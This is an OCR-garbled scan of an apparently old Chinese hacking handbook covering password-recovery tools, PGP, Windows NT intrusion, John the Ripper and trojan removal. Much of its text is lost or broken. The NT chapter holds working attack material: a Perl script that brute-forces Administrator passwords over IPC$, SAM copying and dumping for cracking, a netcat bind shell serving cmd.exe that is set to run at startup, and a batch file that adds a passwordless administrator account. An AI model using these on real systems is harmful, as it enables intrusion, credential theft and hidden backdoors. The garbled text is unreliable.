|.-5-.-'-‘-.F'F| werzion 2.0 [c] 1998-2000 Andy Malyzhey & [van Golubey, Elcom Lid.

3.RAR
RAR RAR

http://www.ssl.stu.neva.ru/ CRARK
RAR “ CRARK

RAR K “ CRARK RAR

1 WPS

1) WPSfor DOS
WPS Ctrl-QIUBOJUN
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2) WPS 2000
WPS 2000 “ S
8 “ " http://cyg.yeah.net/ EWPR Edward
Wps Password Recovery
EWPR  WPS 2000 “ Encrypt
WPS 2000 file” WPS 2000 8-13 “ Type of Attack”
“ brute-force”
“ Brute-Force Range Options’ “ Start From”
“ RUN" EWPR WPS 2000
“ Pause” “ Resumg’
2 Office
WPS 2000 Office
Windows 98 |E Office
AOPR Advanced Office 97 Password
Recovery http://www.el comsoft.com/ Office
Word Excel  Access
AOPR Word *.DOT
AOPR Office 97 AOPR
Office 2000 Office 2000 Office 97
AOPR  Office 2000
AOPR 8-14 “ Encrypted Office
97 Document” Office “ Brute -Force Range Options’
“ Type of Attack”

“ Brute- Force’

82

“ Sartu

O 000000000000 http://blog.sina.com.cn/ckook



http://blog.sina.com.cn/ckook

3 Lotus Word Pro

IBM Lotus Word Pro
Word
Lotus Word Pro
Lotus Word Pro Lotus Word Pro
Lotus Word Pro
http://www.lostpassword.com Woprokeyd Password recovery for Lotus Word Pro

Wprokeyd Lotus Word Pro

8-15 “ Settings’ “ Brute-Force Settings’

Wprokeyd “ Password Character Set”
Lotus Word Pro (*.LwWP )
Wprokeyd Wprokeyd
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Z Lotus Word Pro Eey - Password Recowery for Lotus Word P _ EI

Drag pazzsword-protected Lobus YWord Pro [LWE] file to this ;I Help |

dialog bos to recover the passwaord.

Thiz iz a demo vergion that will recover only the first [etter of the Llose |

pazsword. Please vigit hitp:/densne lostpazsword. com for updated demo wversions
and detailz an ordening a full version.

f o

85 ICQ
I CQ 13 ”
1CQ
ICQ
ICQ Password Revealer http://www.encrsoft.com/  1CQ Password
Revealer DO UIN 8-16 “ K ICQ
?:5 ICQ FPaszzword Recowery 1.1 - DEMOD = IDIﬂ
IC3 UIM: Mames and passwords recovered:
...................................... [CO is hot ingtalled on your computer.
: 2l
Help E sl |
8.6
ISP E-Mail
@xXxX.net/ @xxx.com
OK Email Crack
EmailCrack
POP3 POP3
EmailCrk mfc42.dll,msvert40.dll VC5.0
win95\system VC
win95\system
Internet EmailCrack 8-17
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HeEreEr

I
User Est Hie: ||
Fun-udl-llﬂlt:l |
F Tryuser mamn  Thiead Mumibes: |1
J

i

Besich:

8-17a
"server address’(
IP

1

PING
"user list file"(

PING
2. )

"user list file"

3. "password list file"(

)

"password list file"

passwd
4."Try User name'(

passwd

5. "Thread Number"(

20-30 60

"Begin"

"Get" Result.txt

EmailCrack

U okkkV

NEWDB
Foxmail

Foxmail

POP3
IP
"Search"
ICQ
* 7
8-18
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http://xksoft.yeah.net/
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PGP——

PGP——

9.1 PGP
PGP—FPretty Good Privacy, RSA o
o H ) RSA ’
PGP : PGP : PGP
UUencode RADIX 64 ( MIME BASE 64 ) o
PGP Phil Zimmermann, RSA
PGP o
PGP o ) o
) Internet . )
) . RSA
(Privacy) (Authentication).
RSA (Rivest-Shamir-Adleman ) o
“ ” (Public key & Secret key or Private key). ,
“ ” (message digest),
, ( ) ,
o PGP 128 “ T,
MD5(message digest 5), MD5 Ron Rivest, PGP Colin
Plumb , MD5 o PGP . MD5
; CRC ; MD5
, 128 ) )
o ( b b
b )0 b
) , PGP 128
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PGP ; )
( ), .
PGP RSA RSA
) PGP RSA )
IDEA o )
, . DES(US Federal DataEncryption Standard),
-IDEA ) ETH : Ascom-Tech
AG. IDEA . IDEA (G RSA
) PGP ( ) IDEA )
RSA o RSA ) IDEA
o RSA ) IDEA
. PGP ) RSA 70 )
? ! PGP ? PGP o
. hacker
“ 7, . : Novell Netware
Netware 4.1 o PGP )
o , (Public Key
Tampering), ; .
PGP o
Alice , Alice , Alice ;
BBS Alice , BBS Email Alice. ;
Alice ) Charlie BBS, Alice
Alice o Alice Charlie ,
, “Alice”., Charlie
Alice , Alice Alice ;
) Alice o )
Alice ) Alice
) Alice
) ; . PGP
o Alice David, David
Alice ( , PGP ; )
David Alice o David Alice
( ), Alice.
David Alice , David Alice )
David Alice “ 7, Alice  David David
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PGP——

Alice

. RSA
RSA

BBS ) ) BBS
David ;
DaV'd ’ ’
, , . , PGP
, PGP )
o “ ” (User ID),
Email ) o
, !
) b b
. (keyID), keylD
, keylD , PGP
: ¢ ” (key's fingerprint).
), .
) o Alice
David David , David Alice )
. PGP
) . PGP Phil Zimmermann
PGP ; o
) , PGP
(pass phase). ;
PGP o
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PGP PGP .
) . PGP
) RSA .
randseed.bin .
randseed.bin .
PGP , PGP PKZIP
. , Thits )
) -PGP PKZIP -PKZIP
. PGP PKZIP 2.0
9.2 PGP
@ ASCII armor ASCII ; 7hits ASCII )
7bits  Email . PGP MIME BASE-64 .
@ Ciphertext ; ; .
@ Cryptanalysis ;
) PGP
o Hacker PGP o
@ Compromised key ; , .
@ Conventional encryption ; )
@ Digital signature ; )
®IDEA ; PGP RSA .
DES , .
@ Key ;
. PGP , 576 , 712
, 1024 . , )
. PGP , 576 2048 o
®Key ID ;
“ 7, PGP 64 , )
32 ., .
@ Key certificate ;
; (user ID), ;
@ Key pair ;

@ Key revocation certificate
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@ Key ring ;
@ Legal_kludge , PGP o
@ MD5 Message Digest 5, . MD5 Ron Rivest, PGP
Colin Plumb , MD5 o
@ MPILIB MPILIB RSAREF RSA - MPILIB
Phil Zimmermann ; 2.3a PGP o

113

@ Message digests ; -

2 [3 2
b o

@®PRZ Phil R. Zimmermann, PGP , PGP .
@ Pass phrase ;

° ’ °

@ Plaintext ; o
@Public key ; )

@ Public keyserver ;

) Internet )

Email ) o

@ Pubring, public key ring ; “ 7, PGP
PUBRING.PGP.

@®RSA RSA (Rivest-Shamir-Adleman)

@®RSAREF RSAREF RSA - (RSA PGP

; .) RSAREF , RSA Data Security

Inc. ) RSA o

@ Revoke a public key ; ) )

o Compromised key o
@ Secret key, Private key ; ; o
@ Signature certificate ; certificate )

Signatue certi- ficate . ;

@ Trust parameter ; )

o PGP ,
@®User ID ; , )
s Email - PGP
, , o 32
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9.3 PGP ?
) 56 ) , PGP
128 ) ) N N .
. : Diffie-Hellman/DSS,RSA
. : MD5, RIPEMD-160, SHA-1
. : CAST, IDEA, Triple-DES , )
9.4 PGP
Q PGP ) PGP Certificate Server
o Internet
o Lightweight Directory Access Protocol (LDAP) PGP
, PGP Certificate Server o
PGP Certificate Server LDAP HTTP ; PGP .
Web ) N ) o
Sun Solaris(SPARC)  Microsoft Windows NTServer (Intel) o
2 PGP Windows95  Windows NT PGP for
Business  Security , o
3) PGP PGP Software Development Kit(PGP sdk)
) N N . PGP
sdk C/C++ AP, .
9.5 PGP
Internet ) ) ,
) N o Internet )
) o ) Internet
o ; C key pair ),

( public server )

° b
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b b °

; RSA Date Security SIMIME , Pretty Good Privacy
OpenPGP . ) o
9.6 PGP
1 ~ PGP ’ H
3 ~N b b
4 . ) N ;
5. PGP Uuencode RADIX 64 ( MIME BASE 64 )
9.7 PGP
PGP 6.0.2i . PGP 6.0.2i
N o PGP 6.0.2i )
PGP — PGP Trays . ) PGPtools -
PGP 6.0.2i PgpKeys ( KeyRing ),
N o Internet )
1. N
; PGP )
. PgpKeys ; “ Keys 7 — “ New Key 7,
) N ) , 2048bit .
) NEVER .
. ) Internet
Revoke o
2.
. PGP 6.0.2i )
3.
gx.txt ) . “ Encrypt 7,
) gx.txt ) 4
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C 1 ). TextOutput

( 2 ). Conventional Encryption
C 3 )+ Wipe Original
C 4 ). Secure Viewer

»»”

Encryption 7.

9.8 PGP

PGP

( passphase ),

9.9

1.PGP
2.
Outlook Express

°

PGP

94

b

” ( password ),

113

PGP .

PGP ,

PGP
Outlook Express

PGP ,
, PGP

, “ Conventional
A, OK!
“ Decrypt/Verify 7,

b b

. PGP “ 7

o b

S/IMIME ) PGP
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10.1 Windows NT

Windows NT )
10.1.1NetBIOS
root admin .
(portscan) ——
o NT UNIX o )
o NT , NetBIOS o
) Sam, 139 . 139
"NetBIOS session" , ,  NT . : SAMBA
Linux  UNIX 139 ) o
) "nbtstat" .
NBTSTAT NetBIOS ) NetBIOS
LMHOSTS o o

NBTSTAT 10-1

A RemyreMams ] [ -6
[=r] [-E] [-RR1 [

1 1bkr nars
1

=W N HIOAES =

: nbtstat [-a RemoteName] [-A IP_address] [-c] [-n] [-R] [-r] [-S] [-s] [interval]
: -a (name table) 10-2
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mbtstat —a poflb-server

IpAddrazssr [192 w [z [

HetD10E wte Machine Mame Tabls
L ETTTH T e
FCFiE-SERUER
N1 QU E
GROMIP
LW GUE

AL Address di—bid-& E—E-aD -

-A IP 10-3

G UIHDOWS snbtetat —A 1¥2.168.8.16

s # Az
ode Iphddress: [192.16E.8.21 Scope Id: L]

HetBI 2 Hemote Machine Hams Table

PCF1E-EE
PFCFRI EHD L GROU : :

PCP1E-EERUER i UHIGUE Begistersd
PFCFLE-SERVER 28 UMIGQUE Registeread
FCZFHRI END “1Er GROUF ey izterad
E HE> UM GUE Kag is Lo

HAC Addresza =

R ktztar - pefilb—szerver

Lona B B:
Hode [pAddress: [1PZ.168.B.2]1 5

Format . It needz: ca he
i;

-C (name cache), IP 10-4

[122.168.68.21 Scope Id: [1]

Mo names in cache

-n NetBIOS 10-5
CiwWTHDOWE snhtatat —n

ode Iphddrezz: [192.168.8.2]1 Scope Id: L[]
MatHIDE |lacal Hame [abls

Hams T e Status

PCPE-SHAT LY UHIGUE Registered
FCFHI EXHD *  GROUE :
PEFE—SHAT LY UK I Gl E

PLFE-SHAD LY K1l E

PCFRI END GROUP

EHHI LYCHEH @3> UWIGQUE

-r (broadcast) WINS 10-6
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C:SUWINDOUS *nhtstat —»

MetBI0OS Mames Resolution and Registration Statistics

Resolved By Broadcast
Resolved By Mame Server

Registered By Broadcast
Registered By Mame Server

MetBI0OS Mames Resoluved By

PCF16—SERVER <8a:
PCF?—GCH

SJF

PCF4-UANGYUAN
PCF2-WMB
PCF16-SERVER
PCF12-CAT

PCF1-4WY

R 10-7

of the MBT Bemete Cache Hama Table.

-S IP 10-8

L5 bl LMD nbtatat

Lama B B2
pde IpAddress: [172.168.08.2] Scope Idz [1]

et H 1 0E ctiom lable

Local Hame Btatea Ims0ut Hemots Hozxt Tmypaat Tha ik gt

EHHI LY
FE-EHHI LY
SHHI LYCHEN

In ezt Remotes Host

NBTSTAT , )

Input — 0

Output — o

InfOut — Coutbound) (inbound) .
Life — o

Local Name —— .

Remote Host —— IP o

Type — : unique  group. NetBIOS 16

° °

¢ 16 Do
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State —— NetBIOS : State MeaningAccepting
; Associated , IP
Connected . Connecting
IP Disconnected )
Disconnecting
Idle )
Inbound inbound
Listening
Outbound TCP

98

Reconnecting ,

NBTSTAT : 10-10

C:SUINDOWE >nbtstat —A 192.168.8.16

Lana # B:
Mode IpAddress: [192.168.8.2]1 Scope Id: [1

MetBIOS Remote Machine Mame Tahle
Status

PCF16—-5ERUER UNIQUE Regiztered
PCFRIEND GROUP Registered
PCF16-5ERUER UNIQUE Regiztered
PCF16-5SERVER UHIQUE Registered
PFCFRIEND GROUF Registered
LG UNIGUE Registered

MAC Address = BB-6B—6E-BBA-AD-78

C:\>nbtstat -A x.x.x.x NetBIOS Remote Machine Name Table
Name Type Status

DATARAT < 00> UNIQUE Registered

ROLABS < 00> GROUP Registered

DATARAT < 20> UNIQUE Registered

DATARAT < 03> UNIQUE Registered

GHOST < 03> UNIQUE Registered

DATARAT < 01> UNIQUE Registered

MAC Address = 00-00-00-00-00-00

? Type , ° ’
?
Name Number Type Usage
< computername> 00 U Workstation Service
< computername> 01 U Messenger Service
<\\_MSBROWSE > 01 G Master Browser
< computername> 03 U Messenger Service
< computername> 06 U RAS Server Service
< computername> 1F U NetDDE Service
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< computername> 20
< computername> 21
< computername> 22
< computername> 23
< computername> 24
< computername> 30
< computername> 31
< computername> 43
< computername> 44
< computername> 45
< computername> 46
< computername> 4C
< computername> 52
< computername> 87
< computername> 6A
< computername> BE
< computername> BF

< username> 03
< domain> 00
< domain> 1B

< domain> 1C

< domain> 1D

< domain> 1E

< INet~Services> 1C
< IS~Computer_name> 00

< computername> [2B]

IRISMULTICAST [2F]
IRISNAMESERVER  [33]
Forte_$NDS00ZA [20]

File Server Service

RAS Client Service
Exchange Interchange
Exchange Store
Exchange Directory
Modem Sharing Server Service
Modem Sharing Client Service
SMS Client Remote Control
SMS Admin Remote Control Tool
SMS Client Remote Chat
SMS Client Remote Transfer
DEC Pathworks TCPIP Service
DEC Pathworks TCPIP Service
Exchange MTA

Exchange IMC

Network Monitor Agent
Network Monitor Apps
Messenger Service

Domain Name

Domain Master Browser
Domain Controllers

Master Browser

Browser Service Elections
Internet Information Server
Internet Information Server
Lotus Notes Server

Lotus Notes

Lotus Notes

DCA Irmalan Gateway Service

Copccp@PcoOCygccccECCcCcccccccccccc

Unique (U): (name) IP o )
Group (G): (group), IP o
Multihomed (M): (name) ) )
. 25 .
Internet Group (1): ) WInNT .
Domain Name (D): NT 4.0 o
NBTSTAT Type . NBTSTAT ,
NBTSTAT ) o
NBTSTAT , (Type) <03> o (Type) <20>
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10.1.2 IPC —
IPC$(Inter-Process Communication) NT )
o NT
o ; IPC o
IPC : RedButton. ) NT
o NT. ; )
admin (ie, shares  "$" o ,
..C$, WINNTS$, IPC$ ).
: IPC$ ) o "$",
admin . IPC "interprocess communications". IPC$
. ) IPC$ EventLog .
IPC$
c:\>net use \\[ IP \ipc$ /user:< name> < passwd>
) username  password o "Administrator"
'net’ , username  password

c:\>net use WXXX.XxX.xxx.xxx\ipc$ /user:< name> < passwd>

open(IPC, "net use \Wxxx.xxx.xxx.xxx\ipc$ /user:< name> < passwd> | ");

NAT - NAT ) )
. , NAT - Perl )

) Java, Java . ,» Unix o , 98 NT

Perl o o

————— begin script -----

# ipcchk.plx

# , )

#IPC$ o log .

# , IP .

#

# : c:\>perl ipcchk.plx [ IP ]

open(TEST, "names.txt") || die "Could not open file.";
open(LOG,">>ipc.log") || die "Could not open log.";

if (length(3ARGV[0]) ==0) {
print "Usage: perl ipcchk.plx [ipaddr]";

exit(0);
}

$server = ARGV[0];
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while(< TEST>) {

$name=$_;

chop($name);

# print "net use \W\$server\\ipc\$ /user: Administrator $name | \n";
open(IPC, "net use \W$server\\ipc\$ /user:Administrator $name | *);

while(< IPC>) {

if (grep(/successfully/,$)) {

print LOG "$server accepts connections for password $name\n";
# delete a successful connection to avoid multiple connections to
# the same machine

open(DEL, "net use \W\$server\\ipc\$ /d | );

}
}
————— end script -----
, , C BASIC , .
c:\>net view \\[ IP ]

b o

C:\>net view \\0.0.0.0System error 5 has occurred.Access is denied.

C:\>net use \\0.0.0.0\ipc$ """ /user:""The command completed successfully.C:\>net view
\\0.0.0.0

Shared resources at \\0.0.0.0

Share name Type Used as Comment

Accelerator Disk Agent Accelerator share for Seagate backup
Inetpub Disk

mirc Disk

NETLOGON Disk Logon server share

www_pages Disk

) IPC ) o
) ) IPC ; IPC
o IPC o ) net
c:\>net use x: \\[ipaddr]\[share]
) o IPC$ )
c:\>net use g: \WXXX.XXX.XXX.XXX\CH
C$ ) g,
c:\>dirg: /p
. IPC$ ) Start -> Run,
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regedit.

Registry -> Connect Network Registry, IP o )

Registry

: het

Net Accounts:

Net Computer:

Workstation:

NT

102

Net Continue;
Net File;

°

Net Group:

Net Help:
(function essage)
- Net Name:
Net Print:
Net Send:
Net Session:
Net Share:

Net Statistics Server
Net Stop: NT
Net Time:

Net Use:

Net User:

Net View:

10.2

SAM

°

’ ’ net °

° b o

. Net Config Server Net Config
o Server Workstation,

NET PAUSE NT o

) ) global

Net Helpmsg message#: net error
- Net Localgroup: (local group),
- Net Pause: NT o

Workstation: 0

b o

° netware °

b b =

o NT SAM(Security Accounts Manager) )
o ,  c:\winnt\repair ; SAM._.
o ) rdisk o
C$ )

c:\>copy g:\winnt\repair\sam._

°

c:\>rdisk /s

User Manager ,

; c:\winnt\repair , SAM. .
c:\temp>expand SAM._ sam
) SAMDump - SAMDump o
c:\temp>samdump sam > samfile

NT , lOphtcrack  NTCrack - )

o b
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10.3

netcat ’ ’

nc -L -d -p [port] -t -e cmd.exe

L  netcat
d windows DOS
p
t telnet
e
) runnc.bat. ) netcat
PATH o c:\winnt\system32\.
netcat (nc.exe) , NT
) winlog.exe, runnc.bat o
) , hetcat , netcat .
Telnet ) cmd.exe, o
netcat:
c:\>nc -v [ipaddress of target] [port]
NT telnet ) )
Schedule (  AT) , . AT
? (Control Panel -> Services) , o
Perl, .
————— begin script -----
# atchk.plx
# AT o )
# o )
# IPC$ administrator .
#
# : perl atchck.plx
use Win32::Service;
use Win32;
my %status;
Win32::Service::GetStatus(",'Schedule’, \%status);
die "service is arealdy started\n" if ($status{CurrentState} == 4);
Win32::Service::StartService(Win32::NodeName( ),'Schedule’) || die
"Can't start service\n";
print "Service started\n";
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#**Note: This script was modified from:
#http://lwww.inforoute.cgs.fr/leberrel/perlser.htm
————— end script -----

) AT o AT , AT

AT :
AT [\\computername] [time] "command"

AT [\\computername] [time] runnc.bat
NT registry )

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current\ersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Current\Version\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

NT ) o
————— begin batch file -----
@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup "Administrators" /add Admin
net localgroup "Users" /del Admin
————— end batch file -----

) o Netbus o
Back Orifice ) NT . )
10.4 —
NT , )
o getadmin. dll o
) Administrator . .
sechole.exe, ) .
o ; debugger.
Key: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows
NT\CurrentVersion\AeDebug
Value: Debugger
Data Type: REG_SZ
Default Value: drwtsn32 -p %ld -e %ld -g
o ) ) User Manager,
o User Manager o ; o rdisk
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/s

SAM

NTFSDOS ) DOS

NTFS )
Systems Internals ; ; NTFS
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—BigShrimp

b b b b

. " , BigShrimp

) BigShrimp !
BigShrimp !

11.1 Bigshrimp

Bigshrimp :
, , Bigshrimp )
, Bigshrimp o )

BigShrimp ; :

: Pirate , , , ,

BigShrimp , ! BigShrimp )
Bigshrimp 32 , Windows95/98 NT , DOS
Windows3.x , Anyday, )

’ °

11.2  Bigshrimp
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—BigShrimp

11.3
(1D, ,
| [@leiC RN el
1, . ,
B , « »»” (
11-2)

5 |
Lt 1%
Ml oo = [ ERs R
~2m o oar [lEw

. ( 11-3)

& BizShrimp

S-S B T
Il | =]
Y BabEket

11.4

1. BigShrimp .
2. ,BigShrimp , ,
: !
3. , , ,

4. BigShrimp !
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John the Ripper

12.1 john the Rippre

John the Ripper .
JOHN 16 , DES. MD5 .
: Linux x86, FreeBSD x86,Solaris 2.x SPARC, OSF/1 Alpha, DOS, WinNT/Win95.
) -http://www.false.com/security/john,

SHADOW ) SHADOW.TXT o
) HACK, ) JOHNL1.6 )
SHADOW.TXT ) °

1. FOOL USER, " ": john -single shadow:.txt
: john -wordfile:password.lst -rules shadow.txt
3. : john -l:all shadow.txt
) 10000 -

A. ) ) o
) fool, fool123. fooll. loof. loof123.
lofo.... o
B. ; ) )
hello. superman. cooler. asdfgh. 123456 - -rules
) cool, JOHN cooler. CoOl. Cool
o SHADOW N )

C. : . JOHN
95 ( 95 ) 1-8(8 ,
8 : DES )
, , : , MMX200 (
18000 /), 50% ,
(95°8+95"7+95/6+95/7+956+.....+9571)/2/18000=6.7047809E15/18000=3.7248783E 11
=10346884.19  =4311201.745 =118115 JOHN .
, 20 : .

°

John the Ripper 1.6 ) ,
( ctrl+c), (john -restore),

b b

JOHN.POT , SHADOW ) JOHN
o ) JOHN.INI
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o : -rules 0

12.2

- john [- 11 ] 121

Jobhs ethe Ripper Uzrzion 1.6

L0 W O - 1 TR
oF atdim
1 AODE]

1 mtdAnut

,  -restore -res ):

D:~johns~john—16~run>john —single szhadow.txt
Loaded B passwords, exiting...

-wordfile:< >, 0 12-2
-stdin 0 STDIO )

D:vjohn~john—-16~run>john —wordfileza.dic shadow.txt

Loaded B passwords, exiting...

12-3
-rules o cool )
COOLER. Cool , JOHNL.INI [List.Rules:Wordlist] o

12-4
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gj-:-hn. inl - 1E$_.f ;IEIEI

MEfEE) dWiEE) BE G REEG

# Yordlist mode rules

List.Rules:Wordlist
# Try words as they are

# Lowercase every pure alphanumeric word

-c >317K10

# Capitalize every pure alphanumeric word

-C >2(%at?xc(

# Lowercase and pluralize pure alphabetic words

<=>217Alp

# Lowercase pure alphabetic words and append *1°

<*>2t7A1$1

# Capitalize pure alphabetic words and append °1°

- {x>2¢?AcH1

# Duplicate reasonably short pure alphabetic words {fred -> fredfred)
<7>117Ald

# Lowercase and reverse pure alphabetic words

>317A1HrQ

# Prefiz pure alphabetic words with *1°

»>217A171

# Uppercase pure alphanumeric words

-C >2175uQ

# Lowercase pure alphabetic words and append a digit or simple

-incremental[:< >] ) )
JOHN.INI [Incremental:*****] o 12-5

D:sjohns~john—16~run>john —incremental:single shadow.txt

Loaded B passwords, exiting...

-single ; )
o JOHNL.INI [List.Rules:Single] o 12-6

D:sjohns~john—16~run>john —incremental:single shadow.txt
Loaded B passwords, exiting...

-external:< > , john.ini
. JOHN INI , INI [List.External:******]

D:sjohns~john—-16srun>john —external:-doubhle shadow.txt
Loaded B passwords, exiting...

-restore[:< >] , JOHN )
RESTORE , o )
JOHN RESTORE . 12-8

D:sjohn~john—-16~run>john —-restore

-makechars:< > , , . JOHN

JOHN.POT o 12-9
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D:xjohns~john—16~run>john —makechars:key.txt

Loaded B plaintexts, exiting...

-show ) JOHN.POT )
, JOHN . 12-10

D:xjohn~john—-16~run>john —show shadow.txt
B passwords cracked. B left

-test JOHN , 1 )

. Salts ) 100 18000
I 100 ) 180 [/
o o 12-11

D:~john~john—-16run>john —test

Benchmarking: Standard DES [24-32 4K1... DONE
Many zalts: 46341 cr=

Only one salt: 45843 cr=s

Benchmarking: BSDI DES <(x725> [24-32 4K1... DONE
Many zalts: 1657 cr=
Only one salt: 1487 cr=

Benchmarking: FreeBSD HDS [32-321... DONE
Raw: 1135 cr=

Benchmarking: OpenBSD Blowfish (x32)> [32-32]1... DOHE
Raw: 66.8 cr=

Benchmarking: HKerherosz AFS DES [24.-32 4K1... DONE
Short: 47221 cr/s
Long: 117698 cr=s

Benchmarking: HT LM DES [24-32 4K1... DONE

Raw: 328388 cr=
-users:[, ..] o PASSWD
) SHADOW » JOHN UNSHADOW.EXE
) ) o CSH
o UuiD=0 ROOT o 12-12

D:vjohn~john—-16~run>john —users:root shadow.txt
Loaded B passwords, exiting...

-shells:["][, ..] ) shell
. : " -shells: csh".

b o

12-13

D:~john~john—16~run>*john —shell:czsh shadow.txt
Loaded B passwords, exiting...

-salts:[!] ) )
PASS. -lamesalts cleartext. 12-14

D:sjohns~john—-16%run>john —salts:'root shadow.txt_

-timeout:< > ) JOHN o
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112

-list

o 12-15

D:~johnsjohn—16srun>john —-lizt szhadow.txt

-des-md5 DES MD5, DES
12.3 john
. "Single Crack" - " " "john"
o john.ini [List.Rules:Single] )
’ fool: 12-16

:jj-:-l'm. ini - 'i.Eg_-t —I—I- mi 5'
M E) dRiEE) fEF G #HEhon

# "Single crack" mode rules _:J
# Simple rules come first... _J
-5 M¥E¥

-c (?acl

-c 10

—-s—C xX*xM10

# These were not included in crackers
I've seen, but are pretty efficient,
# so I include them near the beginning
66

*FLT

*»6fTul'6

»5°5

# Weird order, eh? Can't do anything
about it, the order is based on the
# number of successful cracks...

Cxd

rc

<*dHhcQ

»LfTul's

uf

r({?al

<*17a[1lc]p

<*cld

P

*hul'y

[List.Rules:Single]

Hitt

#Single crack mode rules, extended Crack syntax
HiHt

#Simple rules come first...

[el] 1
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# These were not included in crackers I've seen, but are pretty efficient

# so | include them near the beginning

>6x06 2
>71x07 3
>6/?ulx06 4
>5x05 5
john.ini # )
1."[:cl]” )
) "c",
john fool  Fool .
2.">6x06" 6 , 0
6 , . foolers,
3.">7Ix07" ) >7 ,
4.">6/?ulx06" >6 ; 6
"u" , )
) "foolers" "u",
5.">5x05" ) o
john.ini,
john.ini " U " .
1. " "
n >n N
AX "X,
$y "y,
L o
U .
C (
r "fool"->"loof" .
D "fool"->"foolfool" .
F , . "fool"->"foolloof".
P ; )
,  ("fool"->"Fool". "fOol". "foOI". "fool)".
Onx n( 0 ) )
"0lA" "fool" "fAol".

Inx n( 0 ) )
"fool" "fAool". n>
Xnm n ) m

2.

SXy ) X"

S?cy y" "c "
@x X" o

fool,  "[:cl]"

"l", : Fool,
b 5 b
fooler.
7 y IIIII
y ll/?ull
o "foolers"
0-9.
)o
IIXII0
llel0 : IlilAll
llyll0
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@?c 't .

ly "y o

17c "c " o

Ix X" .

?c "c " o

=nx n X" o

=n?c n "c " o )

0 .

3" "

2? ",

v "aeiouAEIOU",

7c "bedfghjklmnpgrstvwxyzBCDFGHIKLMNPQRSTVWXYZ".
2w " " D ( whitespace , "
" "EOF ")

P "L,

?s "$%N&*()-_+=\<>[[{}H@/~"-

il 26 ("a" "z").

2u 26 ("A" "Z"o

2d 10 "o" "9,

?a 26 ("fa" "Z"+"A" "Z").

X 26 +10 ("a-z"+"A-Z"+"0-9"). :

" " , , . 2d "

?D "

4, :

{ : "fool"-> "oolf", “{{", .

} "fool"->"Ifoo". Dn n (0 )s
P"crack"->"cracked", , o
G"crack"->"cracking", : o

~I , "shift i " )

"12345"->"1@#$%"
~i

"Fool123"->"fO0L123",

b

~v ,  "Crack96"->"CRaCK96".
~> . "c"
"v' ,  "Crack96"->"VtsvI07",
~< ) ,  "Crack96">"Xeaxj85"-
5. "single crack" )
1 2 + 1. 2
- ( " o2t : 1+2
2+1, " , " ,

) shadow,, : shadow
root:12dR3.pE06#Q:0:1:Super-User:/:/bin/csh  foolers:% dY).p*12Ver:0:1:AppleUser:/:/bin/csh
abc:QkzL@4%68tGHI:201:200::/homel/ahb:/bin/csh "112u" ---mmmemeee-
"superUSE". "userSUPE" , shadow
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(GECOS) , )
"Super-User", " "Super"+"User", "
R " , 8 s "AppleUser", "ahb"
. , : "12u+rt--- e "RESUrepu".
"REPUSres".
6. :
"I ,  "[0-97" "0-9" 10 )
,  "[aeioul-9]" +"0-9" .
"[A-Z]". "[a-z]". "[A-Z0-9]". : : "1$[0-9]",
) "0-9" , o fool, john
fool0. fooll. fool2. ...... fool9, o
~ "Wordlist Crack" — " "
1. , john
o : hello. superman. computer. ...
. John , : password.lst,
. : 12345, abcl23. passwd. 123456. Hockey. asshole.

newpass. internet. Maddock. newuser. 12345678. computer 00. Horses. Internet. duck?2.
Mickey . Cowboys. fiction ; ;
ftp://coast.cs.purdue.edu/pub/dict , . ;
: password.Ist, shadow  shadow.txt, : john -word:password.txt

shadow.txt

2. "single mode" , " "y "

john.ini [List.Rules:Wordlist] ; : 17

[List.Rules:Wordlist]

Hitt

# Wordlist mode rules (use -rules to enable)

Hitt

# Try words as they are :

# Lowercase every pure alphanumeric word

12XI

# Capita

{******}
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NN
1 ( ) IP
Win9x
winipcfg Windows winipcfg
“ ” Internet ISDN DDN
ADSL DNS IP
Internet Netrxey
IP Netrxey
2 IP
IP 6587
IP
Microsoft ~ Outlook Micro Foxmail
POP SMTP POP
http://www.aerofox.com/tips_gb.html
> <
3 E-mail IP
IP 162 E-mail
IP SMTP

IP http://aft. myetang.com/soft/| PSeeker.zip

4

5 lockdown2000v7.004 12345

GabanBus, NetBus, Pie Bill Gates, X-hill
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6 ping  connect
TCRIP WWW Ftp Telnet
TCRIP
WINDOWS\SY STEM
DEBUG VTCP.386
_D5D56 OF858C0100......
_E5D56 E98D0100_W_Q
PING WINDOWS\SY STEM
DEBUG VIP.386
_DD14D 740D .... ( )
_ED14D 9090
W
_Q
TCRIP  NETSPY
BO NN
PING
NET VIEWW\IP  NET USE DRIVE: WIPSSHAREDIR
7 WinME ZoneAlarm win98\system
msipcsv.exe Norton AV 2001
The Cleaner LookDown
msipcsv.exe  Microsoft IPC Server Windows
IPC IPC$(Inter-Process Communication) NT
NT
IPC$ IPC$
8 CLEANER CLEANER
Cleaner Cleaner
Cleaner  Update
Cleaner 2 \cleaner cleaner3.1
9
? ?
?
BO2000
C C Netspyde DEL PHI
DEL PHI

NN
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10 “ HACKER
DEFENCFE” “ " “ CWIZARD.zip"
( n6Y
“ VBCTL3D.VBX”
——NO
LOOK LOOK AN
Share Share
vbx .dll  .drv .vbx  Visua Basic
Visual Basic
11 G_Server.exe exe
\Others\Others 2tol
2tol.zip ExeBind ExeBind
exebind.exe
12.
NETXRAY
WinzZIP 2
winzip80424.exe Software NETXRAY
13 2' " ’ !
. \content\more\ "NETxray" ,
"Enter yourname, company name, the serial number " , ,
?
NETXRAY
SOFT
14 << >> Credit ,
Vbrun300.dll
VBRun300.dl! Visual Basic
\Patch\DI| Windows System
15
2
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Inter

16
Copy Copy e
Windows  Netmeeting Netmeeting
Netmeeting
NN
17
windows
Wndows
BO
18 2 7
40
19 1 2 2

4 DvD
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lockdown2000.7004
DVD
|ockdown2000.7004
1. v1.1v2.2
vl.l
Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

" C:\windows\system\ kernel 32.exe"
" C:\windows\system\ sysexplr.exe"
Regedit
MSDOS
C:\windows\system\ kernel32.exe  C:\windows\system\ sysexplr.exe
OK
v2.2

MSDOS

Windows OK
2.Acid Battery v1.0

Regedit

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Explorer ="C\WINDOWS\expiorer.exe"

Regedit
MSDOS
c:\windows\expiorer.exe
ExpLorer.exe i L
OK

